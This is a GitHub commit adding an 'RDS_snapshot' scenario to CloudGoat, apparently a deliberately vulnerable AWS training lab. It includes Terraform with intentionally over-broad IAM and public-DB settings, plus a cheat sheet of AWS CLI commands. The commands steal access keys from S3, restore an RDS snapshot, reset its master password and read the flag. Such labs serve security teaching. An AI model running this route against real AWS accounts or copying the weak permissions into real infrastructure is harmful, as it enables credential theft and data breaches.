-
Notifications
You must be signed in to change notification settings - Fork 646
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
This commit adds the AWS RDS Snapshot scenario to Cloudgoat.
Authored-by: https://github.com/BoB12-C-G-V Co-Authored-by: tt0kyu Merges Pull Request: #239
- Loading branch information
Showing
13 changed files
with
518 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
# Scenario: RDS_snapshot | ||
|
||
**Size:** Small | ||
|
||
**Difficulty:** Easy | ||
|
||
**Command:** `$ ./cloudgoat.py create RDS_snapshot` | ||
|
||
## Scenario Resources | ||
|
||
* 1 VPC with: | ||
* EC2 x 1 | ||
* S3 x 1 | ||
* RDS x 1 | ||
* 1 IAM Users | ||
|
||
## Scenario Start(s) | ||
|
||
1. IAM User "David" | ||
|
||
## Scenario Goal(s) | ||
|
||
Get the flags that are included in the RDS snapshot. | ||
|
||
## Summary | ||
|
||
|
||
Starting with access to EC2, the user can leverage the privileges of the EC2 instance to steal credentials from S3. | ||
|
||
With the stolen credentials, the attacker can gain RDS Snapshot restore privileges, which will allow them to access the DB and retrieve flags. | ||
## Exploitation Route(s) | ||
|
||
 | ||
|
||
|
||
|
||
|
||
## Route Walkthrough - IAM User “David” | ||
|
||
1. the attacker gains access to the hijacked EC2 instance. | ||
2. The attacker accesses S3 on the compromised EC2 instance and retrieves credentials. | ||
3. The attacker uses the stolen credentials to locate and access the AWS Relational Database Service (RDS). | ||
4. The attacker verifies that an RDS snapshot exists. | ||
5. The attacker restores the RDS snapshot and hijacks the DB containing customer data (Flag). | ||
|
||
A cheat sheet for this route is available [here](./cheat_sheet.md). |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
CREATE DATABASE mydatabase; | ||
USE mydatabase; | ||
CREATE TABLE flag ( | ||
id INT AUTO_INCREMENT PRIMARY KEY, | ||
value VARCHAR(255) NOT NULL | ||
); | ||
|
||
INSERT INTO flag(value) VALUES ('flag{cg-secret-495624-205465}'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,112 @@ | ||
## Cheat Sheet | ||
|
||
|
||
An attacker can gain access to a hijacked EC2 instance. | ||
|
||
|
||
`cd RDS_Snapshot_cgid528tilly5h` | ||
|
||
|
||
`ssh [email protected] -i ./cloudgoat` | ||
|
||
|
||
``` | ||
[ubuntu@ip-172-31-20-221 ~]$ | ||
``` | ||
|
||
|
||
An attacker can list AWS credentials on the server (enumirate) | ||
|
||
|
||
`aws sts get-caller-identity` | ||
|
||
|
||
The attacker can check the permissions for the roles granted on EC2. | ||
|
||
|
||
``` | ||
#Check the instance profiles | ||
aws iam list-instance-profiles | ||
aws iam list-role-policies --role-name cg-ec2-admin-role | ||
aws iam get-role-policy --role-name cg-ec2-admin-role --policy-name cg-ec2-admin-policy | ||
``` | ||
|
||
|
||
The attacker sees that S3 is accessible and steals the credentials. | ||
``` | ||
aws s3 ls | ||
aws s3 cp s3://cloudgoat/access_keys.txt . | ||
``` | ||
The attacker accesses the stolen credentials. | ||
``` | ||
aws configure --profile david | ||
``` | ||
The attacker checks the permissions of the stolen credentials. | ||
``` | ||
aws iam get-user --profile david | ||
aws iam list-user-policies --user-name cg-rds-instance-user-RDS_Snapshot_cgidy7ybygks75 --profile david | ||
aws iam get-user-policy --user-name cg-rds-instance-user-RDS_Snapshot_cgidy7ybygks75 --policy-name cg-david-policy --profile david | ||
# The attacker verifies that he has RDS-related privileges | ||
``` | ||
|
||
The attacker restores the RDS snapshot. | ||
|
||
``` | ||
#Verify the information in the RDS snapshot | ||
aws rds describe-db-instances --profile david | ||
aws rds describe-db-snapshots --db-instance-identifier cg-rds | ||
#Restore the RDS snapshot | ||
aws rds restore-db-instance-from-db-snapshot \ | ||
--db-instance-identifier attack-rds \ | ||
--db-snapshot-identifier cg-rds-snapshot \ | ||
--db-subnet-group-name cg-db-subnet-group \ | ||
--vpc-security-group-ids sg-xxxxxxxxxxxxxxxxx \ | ||
--profile david | ||
#Wait for a new instance to be created | ||
#Modify the RDS instance password | ||
aws rds modify-db-instance \ | ||
--db-instance-identifier attack-rds \ | ||
--master-user-password attack1234! \ | ||
--apply-immediately \ | ||
--profile david | ||
#Verify the master username | ||
aws rds describe-db-instances --db-instance-identifier attack-rds --query \ "DBInstances[.1].1 | ||
"DBInstances[].MasterUsername" --profile david | ||
#Determine the MySQL endpoint address | ||
aws rds describe-db-instances --db-instance-identifier attack-rds --query \ "DBInstances[. | ||
"DBInstances[].Endpoint.Address" --profile david | ||
``` | ||
|
||
|
||
The attacker accesses the restored DB and hijacks the FLAG. | ||
``` | ||
mysql -h attack-rds.cxxxxxxxxxxx.us-east-1.rds.amazonaws.com -P 3306 -u cgadmin -pattack1234! | ||
show databases; | ||
use mydatabase; | ||
show tables; | ||
select * from flag; | ||
``` | ||
# Caveats | ||
At the end of the scenario, the instance created by the Restore job is not deleted by ./cloudgoat.py destroy rds_snapshot. You need to delete it manually. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
#!/bin/bash | ||
ssh-keygen -b 4096 -t rsa -f ./cloudgoat -q -N "" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
#AWS Account Id | ||
data "aws_caller_identity" "aws-account-id" { | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,81 @@ | ||
data "aws_ami" "ubuntu_image" { | ||
owners = ["amazon"] | ||
most_recent = true | ||
|
||
filter { | ||
name = "name" | ||
values = ["ubuntu/images/hvm-ssd/ubuntu-*-amd64-server-*"] | ||
} | ||
|
||
filter { | ||
name = "root-device-type" | ||
values = ["ebs"] | ||
} | ||
|
||
filter { | ||
name = "virtualization-type" | ||
values = ["hvm"] | ||
} | ||
} | ||
|
||
resource "aws_key_pair" "cg-ec2-key-pair" { | ||
key_name = "cg-ec2-key-pair-${var.cgid}" | ||
public_key = file(var.ssh-public-key-for-ec2) | ||
} | ||
|
||
resource "aws_iam_instance_profile" "cg-ec2-instance-profile" { | ||
name = "cg-david_profile" | ||
role = aws_iam_role.cg-ec2-admin-role.name | ||
} | ||
|
||
resource "aws_instance" "cg-ec2-instance" { | ||
ami = data.aws_ami.ubuntu_image.id | ||
instance_type = "t2.micro" | ||
iam_instance_profile = aws_iam_instance_profile.cg-ec2-instance-profile.name | ||
key_name = aws_key_pair.cg-ec2-key-pair.key_name | ||
subnet_id = aws_subnet.cg-subnet-1.id | ||
metadata_options { | ||
http_endpoint = "enabled" | ||
http_tokens = "required" | ||
http_put_response_hop_limit = 1 | ||
} | ||
vpc_security_group_ids = [ | ||
aws_security_group.cg-ec2-ssh-security-group.id, | ||
] | ||
tags = { | ||
Name = "cg-david-${var.cgid}" | ||
} | ||
|
||
depends_on = [aws_db_instance.cg-rds-db_instance] | ||
|
||
provisioner "file" { | ||
source = "../assets/insert_data.sql" | ||
destination = "/home/ubuntu/insert_data.sql" | ||
connection { | ||
type = "ssh" | ||
user = "ubuntu" | ||
private_key = file(var.ssh-private-key-for-ec2) | ||
host = self.public_ip | ||
} | ||
} | ||
|
||
provisioner "remote-exec" { | ||
inline = [ | ||
"sudo apt-get update -y", | ||
"sudo apt install python3-pip -y", | ||
"pip3 install --upgrade pip", | ||
"pip3 install awscli --upgrade --user", | ||
"sudo apt-get install mysql-client -y", | ||
"cd /home/ubuntu", | ||
"mysql -h ${aws_db_instance.cg-rds-db_instance.address} -u ${var.rds-username} -p${var.rds-password} < /home/ubuntu/insert_data.sql", | ||
"sudo rm /home/ubuntu/insert_data.sql" | ||
] | ||
|
||
connection { | ||
type = "ssh" | ||
user = "ubuntu" | ||
private_key = file(var.ssh-private-key-for-ec2) | ||
host = self.public_ip | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,77 @@ | ||
resource "aws_iam_user" "cg-david" { | ||
name = "cg-rds-instance-user-${var.cgid}" | ||
tags = { | ||
Name = "cg-rds-instance-user-${var.cgid}" | ||
} | ||
} | ||
|
||
resource "aws_iam_access_key" "cg-david" { | ||
user = aws_iam_user.cg-david.name | ||
} | ||
|
||
resource "aws_iam_user_policy" "cg-david-policy" { | ||
name = "cg-david-policy" | ||
user = aws_iam_user.cg-david.name | ||
|
||
policy = <<EOF | ||
{ | ||
"Version": "2012-10-17", | ||
"Statement": [ | ||
{ | ||
"Effect": "Allow", | ||
"Action": [ | ||
"rds:DescribeDBInstances", | ||
"rds:AddTagsToResource", | ||
"rds:DescribeDBSnapshots", | ||
"rds:RestoreDBInstanceFromDBSnapshot", | ||
"rds:ModifyDBInstance", | ||
"iam:Get*", | ||
"iam:List*" | ||
], | ||
"Resource": "*" | ||
} | ||
] | ||
} | ||
EOF | ||
} | ||
|
||
resource "aws_iam_role" "cg-ec2-admin-role" { | ||
name = "cg-ec2-admin-role" | ||
|
||
assume_role_policy = <<EOF | ||
{ | ||
"Version": "2012-10-17", | ||
"Statement": [ | ||
{ | ||
"Effect": "Allow", | ||
"Principal": { | ||
"Service": "ec2.amazonaws.com" | ||
}, | ||
"Action": "sts:AssumeRole" | ||
} | ||
] | ||
} | ||
EOF | ||
} | ||
|
||
resource "aws_iam_role_policy" "cg-ec2-admin-policy" { | ||
name = "cg-ec2-admin-policy" | ||
role = aws_iam_role.cg-ec2-admin-role.id | ||
|
||
policy = <<EOF | ||
{ | ||
"Version": "2012-10-17", | ||
"Statement": [ | ||
{ | ||
"Effect": "Allow", | ||
"Action": [ | ||
"s3:*", | ||
"iam:List*", | ||
"iam:Get*" | ||
], | ||
"Resource": "*" | ||
} | ||
] | ||
} | ||
EOF | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
output "ec2_IP"{ | ||
value = "${aws_instance.cg-ec2-instance.public_ip}" | ||
} | ||
|
||
output "ssh_command" { | ||
value = "ssh -i ${var.cgid}/cloudgoat ubuntu@${aws_instance.cg-ec2-instance.public_ip}" | ||
} | ||
|
||
output "cloudgoat_output_aws_account_id" { | ||
value = "${data.aws_caller_identity.aws-account-id.account_id}" | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
provider "aws" { | ||
profile = var.profile | ||
region = var.region | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
resource "aws_db_instance" "cg-rds-db_instance" { | ||
allocated_storage = 20 | ||
engine = "mysql" | ||
engine_version = "5.7" | ||
instance_class = "db.t2.micro" | ||
identifier = "cg-rds" | ||
username = var.rds-username | ||
password = var.rds-password | ||
parameter_group_name = "default.mysql5.7" | ||
|
||
skip_final_snapshot = true | ||
|
||
db_subnet_group_name = aws_db_subnet_group.cg-db-subnet-group.name | ||
|
||
vpc_security_group_ids = [aws_security_group.allow_mysql.id] | ||
|
||
publicly_accessible = true | ||
|
||
tags = { | ||
Name = "cg-rds-db_instance-${var.cgid}" | ||
} | ||
} | ||
|
||
resource "aws_db_snapshot" "cg-rds_snapshot" { | ||
db_instance_identifier = aws_db_instance.cg-rds-db_instance.identifier | ||
db_snapshot_identifier = "cg-rds-snapshot" | ||
|
||
depends_on = [aws_instance.cg-ec2-instance] | ||
|
||
tags = { | ||
Name = "cg-rds_snapshot-${var.cgid}" | ||
} | ||
} |
Oops, something went wrong.